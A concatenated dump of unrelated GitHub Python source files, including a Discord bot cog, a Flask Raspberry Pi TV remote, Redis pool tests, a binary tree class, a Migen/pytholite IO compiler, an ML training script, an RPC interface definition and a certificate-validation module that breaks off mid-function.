ctx, member: discord.Member, *, role: discord.Role):\n await member.add_roles(role)\n embed = discord.Embed(\n title=\"**Role added**\",\n description=f\"{member.mention} awarded the **{role}** role\",\n colour=discord.Colour.red()\n )\n await ctx.send(embed=embed)\n\n @commands.command(aliases=[\"delrole\"])\n @commands.has_role(\"Moderators\")\n async def del_roles(self, ctx, member: discord.Member, *, role: discord.Role):\n await member.remove_roles(role)\n embed = discord.Embed(\n title=\"**Role deleted**\",\n description=f\"{role} role has been revoked from {member.mention}\",\n colour=discord.Colour.red()\n )\n await ctx.send(embed=embed)\n\n\ndef setup(client):\n client.add_cog(GuildFunctions(client))\n","repo_name":"JustCasuallyJames/Scarlett-Discord-Bot","sub_path":"cogs/GuildFunctions.py","file_name":"GuildFunctions.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9621413090","text":"\nfrom flask import Flask\nfrom flask import request\nfrom flask import render_template\nfrom flask import redirect, url_for\nfrom pymote import pyMote\nfrom pprint import pprint\n\nimport definitions\n\ntv = pyMote()\napp = Flask(__name__)\n\n\ndef get_resource_as_string(name, charset='utf-8'):\n with app.open_resource(name) as f:\n return f.read().decode(charset)\n\napp.jinja_env.globals['get_resource_as_string'] = get_resource_as_string\n\n\n@app.route('/')\ndef index():\n return render_template('index.html', instructions=definitions.instructions, advanced_instructions=definitions.advanced_instructions)\n\n\n@app.route('/display', methods=['POST'])\ndef display():\n\n command(request.form)\n # command(request.form['tvfunction'])\n return redirect(url_for('index'))\n\n\ndef command(command):\n pprint(command)\n if command.has_key('tvfunction'):\n tvfunction(command['tvfunction'])\n elif command.has_key('pifunction'):\n pifunction(command['pifunction'])\n\n\ndef tvfunction(command):\n if command == \"Tv On\":\n tv.set_input(1)\n elif command == \"Tv Off\":\n tv.power_off()\n elif command == \"input 1\":\n tv.set_input(1)\n elif command == \"input 2\":\n tv.set_input(2)\n elif command == \"input 3\":\n tv.set_input(3)\n elif command == \"input 4\":\n tv.set_input(4)\n\n\ndef pifunction(command):\n if command == \"restart\":\n restart()\n\n\ndef restart():\n command = \"/usr/bin/sudo /sbin/shutdown -r now\"\n import subprocess\n process = subprocess.Popen(command.split(), stdout=subprocess.PIPE)\n output = process.communicate()[0]\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='0.0.0.0')\n","repo_name":"daftscience/PiPyMote","sub_path":"pipymote.py","file_name":"pipymote.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"21700511142","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport tornado.testing\nimport tornado.ioloop\nimport time\nimport functools\n\nfrom tornadis.pool import ClientPool\nfrom tornadis.client import Client\nfrom tornadis.exceptions import ClientError\nfrom support import mock, test_redis_or_raise_skiptest\n\n\nclass ClientPoolTestCase(tornado.testing.AsyncTestCase):\n\n def setUp(self):\n test_redis_or_raise_skiptest()\n super(ClientPoolTestCase, self).setUp()\n\n def get_new_ioloop(self):\n return tornado.ioloop.IOLoop.instance()\n\n @tornado.testing.gen_test\n def test_init(self):\n c = ClientPool()\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client1(self):\n c = ClientPool()\n client = yield c.get_connected_client()\n self.assertTrue(isinstance(client, Client))\n c.release_client(client)\n c.destroy()\n\n def _test_get_client2_cb(self, pool, client):\n pool.release_client(client)\n self._test_get_client2_cb_called = True\n\n @tornado.testing.gen_test\n def test_get_client2(self):\n c = ClientPool(max_size=2)\n client1 = yield c.get_connected_client()\n self.assertTrue(isinstance(client1, Client))\n client2 = yield c.get_connected_client()\n self.assertTrue(isinstance(client2, Client))\n ioloop = tornado.ioloop.IOLoop.instance()\n deadline = time.time() + 1\n cb = functools.partial(self._test_get_client2_cb, c, client1)\n self._test_get_client2_cb_called = False\n ioloop.add_timeout(deadline, cb)\n client3 = yield c.get_connected_client()\n self.assertTrue(self._test_get_client2_cb_called)\n self.assertTrue(client1 == client3)\n c.release_client(client2)\n c.release_client(client3)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_client_error(self):\n wrong_port = 11111\n\n c = ClientPool(max_size=1, port=wrong_port)\n\n client = yield c.get_connected_client()\n\n self.assertTrue(isinstance(client, ClientError))\n\n c.release_client(client)\n\n new_client = yield c.get_connected_client()\n\n self.assertTrue(isinstance(new_client, ClientError))\n\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_nowait1(self):\n c = ClientPool()\n client = c.get_client_nowait()\n self.assertTrue(isinstance(client, Client))\n c.release_client(client)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_nowait2(self):\n c = ClientPool(max_size=1)\n client1 = c.get_client_nowait()\n self.assertTrue(isinstance(client1, Client))\n client2 = c.get_client_nowait()\n self.assertTrue(client2 is None)\n c.release_client(client1)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_context_manager(self):\n c = ClientPool(max_size=1)\n with (yield c.connected_client()) as client:\n pass\n client = yield c.get_connected_client()\n c.release_client(client)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_select_db_after_connect(self):\n db = 13\n c = ClientPool(db=db)\n client = yield c.get_connected_client()\n self.assertIsInstance(client, Client)\n self.assertEqual(db, client.db)\n c.release_client(client)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_invalid_select_db_after_connect(self):\n db = 'non-existent-db'\n c = ClientPool(db=db)\n client = yield c.get_connected_client()\n self.assertIsInstance(client, ClientError)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_preconnect1(self):\n c = ClientPool(max_size=-1)\n try:\n yield c.preconnect()\n raise Exception(\"ClientError not raised\")\n except ClientError:\n pass\n\n @tornado.testing.gen_test\n def test_preconnect2(self):\n c = ClientPool(max_size=5)\n yield c.preconnect(5)\n pool = c._ClientPool__pool\n for i in range(0, 5):\n client = pool.popleft()\n self.assertTrue(client.is_connected())\n for i in range(0, 5):\n pool.append(client)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_timeout(self):\n c = ClientPool(max_size=5, client_timeout=1)\n client1 = yield c.get_connected_client()\n c.release_client(client1)\n client2 = yield c.get_connected_client()\n c.release_client(client2)\n self.assertTrue(client1 == client2)\n yield tornado.gen.sleep(1)\n client3 = yield c.get_connected_client()\n self.assertFalse(client1 == client3)\n c.release_client(client3)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_constructor(self):\n c = ClientPool(max_size=-1, client_timeout=-1, port=6379,\n host=\"localhost\", password=\"foo\")\n with (yield c.connected_client()) as client:\n self.assertTrue(isinstance(client, ClientError))\n pass\n c.destroy()\n\n @tornado.testing.gen_test\n def test_autoclose(self):\n c = ClientPool(max_size=5, client_timeout=1, autoclose=True)\n client1 = yield c.get_connected_client()\n self.assertTrue(client1.is_connected())\n c.release_client(client1)\n yield tornado.gen.sleep(3)\n self.assertFalse(client1.is_connected())\n c.destroy()\n\n @tornado.testing.gen_test\n def test_release_expired_client_disconnect(self):\n with mock.patch.object(ClientPool,\n '_is_expired_client',\n return_value=True):\n c = ClientPool(max_size=5, client_timeout=60, autoclose=False)\n client = yield c.get_connected_client()\n self.assertTrue(client.is_connected())\n c.release_client(client)\n self.assertFalse(client.is_connected())\n","repo_name":"thefab/tornadis","sub_path":"tests/test_pool.py","file_name":"test_pool.py","file_ext":"py","file_size_in_byte":5996,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"53"}
+{"seq_id":"16833940683","text":"#deficion de la clase ArbolBinario\n\nclass ArbolBinario:\n def __init__(self,objetoRaiz):\n self.clave = objetoRaiz\n self.izquierda= None\n self.derecha = None\n def insertarIzquierda(self, nuevoNodo):\n if self.izquierda == None: # si no hay hijo izquierdo simplemente se agrega el nuevo nodo\n self.izquierda == ArbolBinario(nuevoNodo) #... el cual a su vez es un arbol binario(recurisividad)\n\n else: # si existia el hijo izquierdo, este se hace hijo izquierdo del nuevo nodo\n t= ArbolBinario(nuevoNodo) #... el cual, a su vez es un arbol binario (recursividad)\n t.izquierda = self.izquierda # conectar el hijo que ya existia como hijo nuevo del nuevo nodo\n self.izquierda = t # conectar el nuevo nodo como hijo izquierdo del nodo actual\n\n def insertarDerecha(self, nuevoNodo):\n if self.derecha == None:\n self.derecha = ArbolBinario(nuevoNodo)\n else:\n t= ArbolBinario(nuevoNodo)\n t.derecha = self.derecha\n self.derecha = t\n\n","repo_name":"hrivera7777/Jobs","sub_path":"estructuras_de_datos/clase 23-07-2019/Arbol2.py","file_name":"Arbol2.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29246577045","text":"import math\nfrom new_agent import Agent\nfrom world_model import World\nimport numpy as np\n\nworld = World()\nmax_resting_time = 10\n\ndef resting_state(agent: Agent):\n agent.clock += 1 \n \n if np.random.rand() < agent.clock / max_resting_time:\n agent.clock = 0\n agent.state = explore_state\n \ndef explore_state(agent: Agent):\n \n value_of_near_site = 20\n \n sites = sorted(world.sites, key = lambda site : math.dist(site.location, agent.location))\n closest_site = sites[0]\n \n if closest_site < value_of_near_site:\n agent = acessing_state\n \ndef acessing_state(agent: Agent):\n if isinstance(agent.state, acessing_state):\n print(\"I'm in the accesing state!\")\n\n\n \n\n\n \n ","repo_name":"suzanaSSP/new_model","sub_path":"new_states.py","file_name":"new_states.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3433635745","text":"filename = 'pi_digits.txt'\nwith open(filename) as file_object:\n # contents = file_object.read()\n # print(contents.strip())\n #逐行读取\n # for line in file_object:\n # print(line)\n\n #创建一个包含内容的列表\n lines = file_object.readlines()\n \n# for line in lines:\n# print(line.strip())\n# print(lines)\n\npi_string = ''\nfor line in lines:\n pi_string += line.strip()\nprint(pi_string)\nbirthday = input(\"输入你的生日mmddYY:\")\nif birthday in pi_string:\n print(\"你的生日在PI里!\")\nelse:\n print(\"你的生日不在PI里!\")\n\n","repo_name":"din0/python_study_from_0","sub_path":"testfiles/file_reader.py","file_name":"file_reader.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16152275854","text":"import ast\nfrom itertools import zip_longest\n\nfrom migen.fhdl.std import *\nfrom migen.flow.actor import Source, Sink\nfrom migen.flow.transactions import *\nfrom migen.bus import wishbone\nfrom migen.bus.transactions import *\n\nfrom pytholite.util import *\nfrom pytholite.expr import ExprCompiler\n\n\nclass _TokenPullExprCompiler(ExprCompiler):\n def __init__(self, symdict, modelname, ep):\n ExprCompiler.__init__(self, symdict)\n self.modelname = modelname\n self.ep = ep\n\n def visit_expr_subscript(self, node):\n # check that we are subscripting .value\n if (not isinstance(node.value, ast.Attribute)\n or node.value.attr != \"value\"\n or not isinstance(node.value.value, ast.Name)\n or node.value.value.id != self.modelname):\n raise NotImplementedError\n\n if not isinstance(node.slice, ast.Index):\n raise NotImplementedError\n field = eval_ast(node.slice.value, self.symdict)\n signal = getattr(self.ep.payload, field)\n\n return signal\n\n\ndef _gen_df_io(compiler, modelname, to_model, from_model):\n epname = eval_ast(to_model[\"endpoint\"], compiler.symdict)\n values = to_model[\"value\"]\n idle_wait = eval_ast(to_model[\"idle_wait\"], compiler.symdict)\n ep = getattr(compiler.ioo, epname)\n if idle_wait:\n state = [compiler.ioo.busy.eq(0)]\n else:\n state = []\n\n if isinstance(values, ast.Name) and values.id == \"None\":\n # token pull from sink\n if not isinstance(ep, Sink):\n raise TypeError(\"Attempted to pull from source\")\n ec = _TokenPullExprCompiler(compiler.symdict, modelname, ep)\n for target_regs, expr in from_model:\n cexpr = ec.visit_expr(expr)\n state += [reg.load(cexpr) for reg in target_regs]\n state += [\n ep.ack.eq(1),\n If(~ep.stb, id_next_state(state))\n ]\n return [state], [state]\n else:\n # token push to source\n if not isinstance(ep, Source):\n raise TypeError(\"Attempted to push to sink\")\n if from_model:\n raise TypeError(\"Attempted to read from pushed token\")\n if not isinstance(values, ast.Dict):\n raise NotImplementedError\n for akey, value in zip(values.keys, values.values):\n key = eval_ast(akey, compiler.symdict)\n signal = getattr(ep.payload, key)\n state.append(signal.eq(compiler.ec.visit_expr(value)))\n state += [\n ep.stb.eq(1),\n If(~ep.ack, id_next_state(state))\n ]\n return [state], [state]\n\n\nclass _BusReadExprCompiler(ExprCompiler):\n def __init__(self, symdict, modelname, data_signal):\n ExprCompiler.__init__(self, symdict)\n self.modelname = modelname\n self.data_signal = data_signal\n\n def visit_expr_attribute(self, node):\n # recognize .data as the bus read signal,\n # raise exception otherwise\n if (not isinstance(node.value, ast.Name)\n or node.value.id != self.modelname\n or node.attr != \"data\"):\n raise NotImplementedError\n return self.data_signal\n\n\ndef _gen_wishbone_io(compiler, modelname, model, to_model, from_model, bus):\n state = [\n bus.cyc.eq(1),\n bus.stb.eq(1),\n bus.adr.eq(compiler.ec.visit_expr(to_model[\"address\"])),\n ]\n\n if model == TWrite:\n if from_model:\n raise TypeError(\"Attempted to read from write transaction\")\n state += [\n bus.we.eq(1),\n bus.dat_w.eq(compiler.ec.visit_expr(to_model[\"data\"]))\n ]\n sel = to_model[\"sel\"]\n if isinstance(sel, ast.Name) and sel.id == \"None\":\n nbytes = (flen(bus.dat_w) + 7)//8\n state.append(bus.sel.eq(2**nbytes-1))\n else:\n state.append(bus.sel.eq(compiler.ec.visit_expr(sel)))\n else:\n ec = _BusReadExprCompiler(compiler.symdict, modelname, bus.dat_r)\n for target_regs, expr in from_model:\n cexpr = ec.visit_expr(expr)\n state += [reg.load(cexpr) for reg in target_regs]\n state.append(If(~bus.ack, id_next_state(state)))\n return [state], [state]\n\n\ndef _gen_memory_io(compiler, modelname, model, to_model, from_model, port):\n s1 = [port.adr.eq(compiler.ec.visit_expr(to_model[\"address\"]))]\n if model == TWrite:\n if from_model:\n raise TypeError(\"Attempted to read from write transaction\")\n s1.append(port.dat_w.eq(compiler.ec.visit_expr(to_model[\"data\"])))\n sel = to_model[\"sel\"]\n if isinstance(sel, ast.Name) and sel.id == \"None\":\n nbytes = (flen(port.dat_w) + 7)//8\n s1.append(port.we.eq(2**nbytes-1))\n else:\n s1.append(port.we.eq(compiler.ec.visit_expr(sel)))\n return [s1], [s1]\n else:\n s2 = []\n s1.append(id_next_state(s2))\n ec = _BusReadExprCompiler(compiler.symdict, modelname, port.dat_r)\n for target_regs, expr in from_model:\n cexpr = ec.visit_expr(expr)\n s2 += [reg.load(cexpr) for reg in target_regs]\n return [s1, s2], [s2]\n\n\ndef _gen_bus_io(compiler, modelname, model, to_model, from_model):\n busname = eval_ast(to_model[\"busname\"], compiler.symdict)\n if busname is None:\n buses = compiler.ioo.get_buses()\n if len(buses) != 1:\n raise TypeError(\"Bus name not specified\")\n bus = list(buses.values())[0]\n else:\n bus = getattr(compiler.ioo, busname)\n if isinstance(bus, wishbone.Interface):\n return _gen_wishbone_io(compiler, modelname,\n model, to_model, from_model, bus)\n elif isinstance(bus, Memory):\n port = compiler.ioo.memory_ports[bus]\n return _gen_memory_io(compiler, modelname,\n model, to_model, from_model, port)\n else:\n raise NotImplementedError(\"Unsupported bus\")\n\n\ndef _decode_args(desc, args, args_kw):\n d = {}\n argnames = set()\n for param, value in zip_longest(desc, args):\n if param is None:\n raise TypeError(\"Too many arguments\")\n if isinstance(param, tuple):\n name, default = param\n else:\n name, default = param, None\n\n # build the set of argument names at the same time\n argnames.add(name)\n\n if value is None:\n if default is None:\n raise TypeError(\"No default value for parameter \" + name)\n else:\n d[name] = default\n else:\n d[name] = value\n for akw in args_kw:\n if akw.arg not in argnames:\n raise TypeError(\"Parameter \" + akw.arg + \" does not exist\")\n d[akw.arg] = akw.value\n return d\n\n\ndef gen_io(compiler, modelname, model, to_model, to_model_kw, from_model):\n if model == Token:\n desc = [\n \"endpoint\",\n (\"value\", ast.Name(\"None\", ast.Load(),\n lineno=0, col_offset=0)),\n (\"idle_wait\", ast.Name(\"False\", ast.Load(),\n lineno=0, col_offset=0))\n ]\n args = _decode_args(desc, to_model, to_model_kw)\n return _gen_df_io(compiler, modelname, args, from_model)\n elif model == TRead or model == TWrite:\n desc = [\n \"address\",\n (\"data\", ast.Num(0)),\n (\"sel\", ast.Name(\"None\", ast.Load(), lineno=0, col_offset=0)),\n (\"busname\", ast.Name(\"None\", ast.Load(), lineno=0, col_offset=0))\n ]\n args = _decode_args(desc, to_model, to_model_kw)\n return _gen_bus_io(compiler, modelname, model, args, from_model)\n else:\n raise NotImplementedError\n","repo_name":"m-labs/pytholite","sub_path":"pytholite/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":7718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28843693061","text":"import os\nimport numpy as np\nimport pandas as pd\nimport typing as tp\n\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.linear_model import Ridge\nfrom catboost import CatBoostRegressor, Pool\n\nfrom src import utils\nfrom src.models import evaluate\n\nRS = 35\n\nmodel_path = '../models'\n\n\ndef train(input_train_data, input_train_target, output_model_filepath: str = model_path) -> None:\n\n train = pd.read_pickle(input_train_data)\n target = pd.read_pickle(input_train_target)\n \n train_data, val_data, train_target, val_target = train_test_split(train, target, train_size=0.8, random_state=RS)\n \n # Ridge\n\n parameters = {\n 'fit_intercept': [True, False],\n 'alpha': [0.1, 1, 5, 10, 15, 100],\n 'tol': [1e-5, 1e-3, 1e-1],\n 'positive': [True, False]\n }\n\n model = Ridge(random_state=RS, max_iter=1000)\n clf = GridSearchCV(model, parameters, scoring='r2', cv=3)\n clf.fit(train_data, train_target)\n clf.best_params_\n\n ridge = Ridge(random_state=RS, max_iter=1000, **clf.best_params_).fit(train_data, train_target)\n\n utils.save_model(ridge, os.path.join(output_model_filepath, 'ridge.pkl'))\n \n evaluate.evaluate(train, target, ridge, 'Ridge')\n \n # Catboost\n \n pool = Pool(train_data, train_target, )\n\n cb = CatBoostRegressor(iterations=2000, loss_function='RMSE', eval_metric='RMSE', learning_rate=0.03, silent=True)\n\n cb.fit(pool, eval_set=(val_data, val_target), verbose=False, plot=False)\n \n utils.save_model(cb, os.path.join(output_model_filepath, 'catboost.pkl'))\n \n evaluate.evaluate(train, target, cb, 'Catboost')\n","repo_name":"valvarl/hse_workshop_regression","sub_path":"pipelines/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"34984691477","text":"from rpc_forge import *\nclass Struct_96_t(NdrStructure):\n MEMBERS = [NdrLong, NdrShort, NdrShort, NdrByte, NdrByte, NdrByte, NdrByte, NdrByte, NdrByte, NdrByte, NdrByte, ]\n\n\ninterface = Interface(\"6e21ea0b-4042-49fd-4844-cc07c3a3c117\", (1,6), [\n\nMethod(\"s_winmmGetPnpInfo\", 0, \nOut(NdrLong), \nOut(NdrRef(SizeIs(0, 'deref') / NdrByte))),\n\nMethod(\"s_mmeNotifyDeviceStateChanged\", 1, \nIn(NdrWString), \nIn(NdrLong)),\n\nMethod(\"s_mmeNotifyDeviceAdded\", 1, \nIn(NdrWString)),\n\nMethod(\"s_mmeNotifyDeviceRemoved\", 1, \nIn(NdrWString)),\n\nMethod(\"s_mmeNotifyDefaultDeviceChanged\", 1, \nIn(NdrLong), \nIn(NdrLong), \nIn(NdrWString)),\n\nMethod(\"s_tsSessionGetAudioProtocol\", 1, \nIn(NdrLong), \nOut(NdrLong), \nOut(NdrLong)),\n\nMethod(\"s_tsRegisterAudioProtocolNotification\", 1, \nOut(NdrContextHandle)),\n\nMethod(\"s_tsUnregisterAudioProtocolNotification\", 1, \nIn(Out(NdrContextHandle))),\n\nMethod(\"s_sndevtResolveSoundAlias\", 1, \nIn(NdrWString), \nIn(NdrUniquePTR(NdrWString)), \nIn(NdrLong), \nOut(NdrLong), \nIn(Out(NdrUniquePTR(NdrWString)))),\n\nMethod(\"s_pbmRegisterPlaybackManagerNotifications\", 1, \nIn(NdrShort), \nIn(NdrShort)),\n\nMethod(\"s_pbmUnregisterPlaybackManagerNotifications\", 1, \nIn(NdrShort), \nIn(NdrShort)),\n\nMethod(\"s_pbmSetSmtcSubscriptionState\", 1, \nIn(NdrShort), \nIn(NdrLong)),\n\nMethod(\"s_pbmGetSoundLevel\", 1, \nOut(NdrRef(NdrShort))),\n\nMethod(\"s_ccCreateHandsfreeHidFileFromAudioId\", 1, \nIn(NdrWString), \nOut(NdrLong)),\n\nMethod(\"s_pbmRegisterAppClosureNotification\", 1, \n),\n\nMethod(\"s_pbmUnregisterAppClosureNotification\", 1, \n),\n\nMethod(\"s_pbmPlayToStreamStateChanged\", 1, \nIn(NdrShort)),\n\nMethod(\"s_pbmIsPlaying\", 1, \nOut(NdrLong)),\n\nMethod(\"s_pbmCastingAppStateChanged\", 1, \nIn(NdrShort)),\n\nMethod(\"s_pbmLaunchBackgroundTask\", 1, \nIn(NdrWString), \nIn(NdrWString), \nOut(Struct_96_t)),\n\nMethod(\"s_pbmRegisterAsBackgroundTask\", 1, \nIn(Struct_96_t)),\n\nMethod(\"s_afxOpenAudioEffectsWatcher\", 1, \nIn(NdrWString), \nIn(NdrShort), \nIn(NdrLong), \nOut(Struct_96_t), \nOut(NdrHyper), \nOut(NdrContextHandle)),\n\nMethod(\"s_afxCloseAudioEffectsWatcher\", 0, \nIn(Out(NdrContextHandle))),\n\nMethod(\"s_midiOpenPort\", 1, \nIn(NdrWString), \nOut(NdrLong)),\n\nMethod(\"s_rtgGetDefaultAudioEndpoint\", 1, \nIn(NdrShort), \nIn(NdrShort), \nOut(NdrRef(NdrWString)), \nOut(NdrLong)),\n\nMethod(\"s_apmRegisterProxyAudioProcess\", 1, \n),\n\nMethod(\"s_apmSetDuckingGainForId\", 1, \nIn(NdrWString), \nIn(NdrLong)),\n\nMethod(\"s_apmSetLayoutGainForId\", 1, \nIn(NdrLong), \nIn(NdrLong)),\n\nMethod(\"s_apmSetVolumeGroupGainForId\", 1, \nIn(NdrWString), \nIn(NdrLong)),\n]) \n\ninterface.is_registered = False\n\ninterface.endpoints = []\ninterface.endpoints.append(\"AudioClientRpc\")\ninterface.endpoints.append(\"Audiosrv\")\ninterface.endpoints.append(\"PlaybackManagerRpc\")\ninterface.endpoints.append(\"AudioSrvDiagnosticsRpc\")\ninterface.endpoints.append(\"SpatialSoundDataManagerRpc\")\n","repo_name":"sogeti-esec-lab/RPCForge","sub_path":"interfaces/6e21ea0b-4042-49fd-4844-cc07c3a3c117.py","file_name":"6e21ea0b-4042-49fd-4844-cc07c3a3c117.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"53"}
+{"seq_id":"17527559769","text":"#!/usr/bin/python3\n\n\"\"\"\n PrivateKey\n / \\\nPrivateKeyClient PrivateKeyServer\n\n PublicKey\n / \\\nPublicKeyClient PublicKeyServer\n\nContains classes to iteract with assymetric keys\n of an entity (server or client)\nThis way the used of theses keys are equal for both\n server and client allowing us to create code\n dependent on abstraction that have the same interface\n\"\"\"\n\nfrom abc import ABC, abstractmethod\nfrom datetime import datetime\nimport os\n\n#Encryption\nfrom cryptography.hazmat.primitives.hashes import SHA256\nfrom cryptography.hazmat.primitives.asymmetric import padding\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.exceptions import InvalidSignature\n\n#Certificates\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtensionOID\n\nimport encryption\n\nclass PrivateKey(ABC):\n \"\"\"\n Used by an entity to send messages and receive messages\n from other entities to ensure authentication to\n the receiver\n Allow an entity to do operations with her\n private key\n \"\"\"\n @abstractmethod\n def sign(self, message):\n \"\"\"\n Encrypt a message using a private key\n The receiver has the assurance that only the entity that\n has this key could have sent this message\n \"\"\"\n pass\n\n @abstractmethod\n def decrypt(self, cypherText):\n \"\"\"\n Decrypt a message using a public key\n The sender has the assurance that only the entity that\n has this key can read the message\n \"\"\"\n pass\n\nclass PublicKey(ABC):\n \"\"\"\n Class created by an entiry to store and to operations\n with a public key of another entity\n \"\"\"\n def __init__(self, publicKey):\n \"\"\"\n publicKey : RSAPublicKey : public key extrated from a\n valid certificate\n \"\"\"\n self.pubKey = publicKey\n\n @abstractmethod\n def encrypt(self, message):\n \"\"\"\n Used by and entity to send message to another entity.\n Ensures that only that entity can see the message\n \"\"\"\n pass\n\n @abstractmethod\n def verify(self, message, signature):\n \"\"\"\n Used by and entity to receive message of another entity.\n Ensures that only that entity could have sent the message\n \"\"\"\n pass\n\nclass PrivateKeyClient(PrivateKey):\n \"\"\"\n In our system the authentication of the client is made\n using the portugueses citizen card so for that\n the operations using the private key have to made\n through/inside the citizen card\n \"\"\"\n def sign(self, message):\n return encryption.citizenCard.sign(message)\n def decrypt(self, cypherText):\n raise TypeError(\"Operation not supported\")\n\nclass PrivateKeyServer(PrivateKey):\n \"\"\"\n Our servers in the system can load theirs private\n key and to all operations with it\n \"\"\"\n def __init__(self, privateKey):\n \"\"\"\n privateKey : RSAPrivateKey : loaded from encrypted file\n \"\"\"\n self.privKey = privateKey\n\n def sign(self, message):\n return self.privKey.sign(\n message,\n padding.PSS(\n mgf=padding.MGF1(SHA256()),\n salt_length=padding.PSS.MAX_LENGTH\n ),\n SHA256()\n )\n\n def decrypt(self, cypherText):\n return self.privKey.decrypt(\n cypherText,\n padding.OAEP(\n mgf=padding.MGF1(algorithm=SHA256()),\n algorithm=SHA256(),\n label=None\n )\n )\n\nclass PublicKeyServer(PublicKey):\n \"\"\"\n Allow a server to do operations with his public key\n \"\"\"\n def __init__(self, publicKey):\n super(PublicKeyServer, self).__init__(publicKey)\n\n def encrypt(self, message):\n return self.pubKey.encrypt(\n message,\n padding.OAEP(\n mgf=padding.MGF1(algorithm=SHA256()),\n algorithm=SHA256(),\n label=None\n )\n )\n\n def verify(self, message, signature):\n try:\n self.pubKey.verify(\n signature,\n message,\n padding.PSS(\n mgf=padding.MGF1(SHA256()),\n salt_length=padding.PSS.MAX_LENGTH\n ),\n SHA256()\n )\n except InvalidSignature:\n return False\n return True\n\nclass PublicKeyClient(PublicKey):\n \"\"\"\n Allow the client to do operations with his public key\n \"\"\"\n def __init__(self, publicKey):\n super(PublicKeyClient, self).__init__(publicKey)\n\n def encrypt(self, message):\n raise TypeError(\"Operation not supported\")\n\n def verify(self, message, signature):\n try:\n self.pubKey.verify(\n signature,\n message,\n padding.PKCS1v15(),\n SHA256()\n )\n except InvalidSignature:\n return False\n return True\n\ndef expiredOrRevoked(cert, crls, date):\n \"\"\"\n Function to check if a certificate is valid\n (if it's between the validation dates)\n (not in CRL's)\n \"\"\"\n\n if not (cert.not_valid_before < date < cert.not_valid_after):\n return True\n\n if cert.issuer not in crls.keys():\n return False\n\n for crl in crls[cert.issuer]:\n if crl.get_revoked_certificate_by_serial_number(cert.serial_number) != None and crl.last_update < date:\n return True\n\n return False\n\nCERTS_LOCATION = \"encryption/certs\"\nCRLS_LOCATION = \"encryption/crls\"\n\ndef validCertificate(certBytes, date=datetime.now()):\n \"\"\"\n Verifies a certificate\n -checks if it's valid (between validation dates)\n -Creates a chain with trusted CA's and intermediate CA's\n -verify signature validity within the chain\n\n returns Valid or not, Cause of error, certificate object, if it's a server or a client\n \"\"\"\n try:\n cert = x509.load_pem_x509_certificate(certBytes, default_backend())\n except:\n print(\"error loading\")\n return False, \"Invalid certificate format\", None, None\n\n if not cert.extensions.get_extension_for_oid(ExtensionOID.KEY_USAGE).value.digital_signature:\n print(\"not end-entity\")\n return False, \"Entities communicating must be a end-entity\", None, None\n\n #load crls\n crls = dict()\n for entry in os.scandir(CRLS_LOCATION):\n with open(CRLS_LOCATION + \"/\" + entry.name, \"rb\") as f:\n crl = x509.load_der_x509_crl(f.read(), default_backend())\n if crl.issuer not in crls.keys():\n crls[crl.issuer] = []\n crls[crl.issuer].append(crl)\n\n if expiredOrRevoked(cert, crls, date):\n print(\"certificate expired or revoked\")\n return False, \"Certificate expired or rovoked\", None, None\n\n certs = dict()\n for entry in os.scandir(CERTS_LOCATION):\n if entry.is_file() and entry.name.endswith(\".pem\"):\n with open(CERTS_LOCATION + \"/\" + entry.name, \"rb\") as f:\n tmpCert = x509.load_pem_x509_certificate(f.read(), default_backend())\n certs[tmpCert.subject] = tmpCert\n\n chain = [cert]\n prev = cert\n try:\n while chain[-1].subject != chain[-1].issuer:\n tmpCert = certs[chain[-1].issuer]\n if expiredOrRevoked(tmpCert, crls, date):\n print(\"invalid date chain\")\n return False, \"A certificate in the chain expired or was revoked when signed\", None, None\n if not tmpCert.extensions.get_extension_for_oid(ExtensionOID.KEY_USAGE).value.key_cert_sign:\n print(\"signed by nor a ca nor intermediate ca\")\n return False, \"Signed by nor a CA nor a intermediate CA\", None, None\n chain.append(tmpCert)\n prev = tmpCert\n except: #no trusted certificate issuer found\n print(\"issuer not found\")\n return False , \"Certificate in the chain unknown\", None, None\n\n validating = chain.pop(0)\n try:\n while len(chain) > 0:\n chain[0].public_key().verify(\n validating.signature,\n validating.tbs_certificate_bytes,\n padding.PKCS1v15(),\n validating.signature_hash_algorithm\n )\n\n validating = chain.pop(0)\n\n\n validating.public_key().verify(\n validating.signature,\n validating.tbs_certificate_bytes,\n padding.PKCS1v15(),\n validating.signature_hash_algorithm\n )\n except:\n print(\"signature invalid\")\n return False, \"Signature in chain not valid\", None, None\n\n if validating.subject.get_attributes_for_oid(NameOID.COMMON_NAME)[0].value == \"SIO CA\":\n return True, 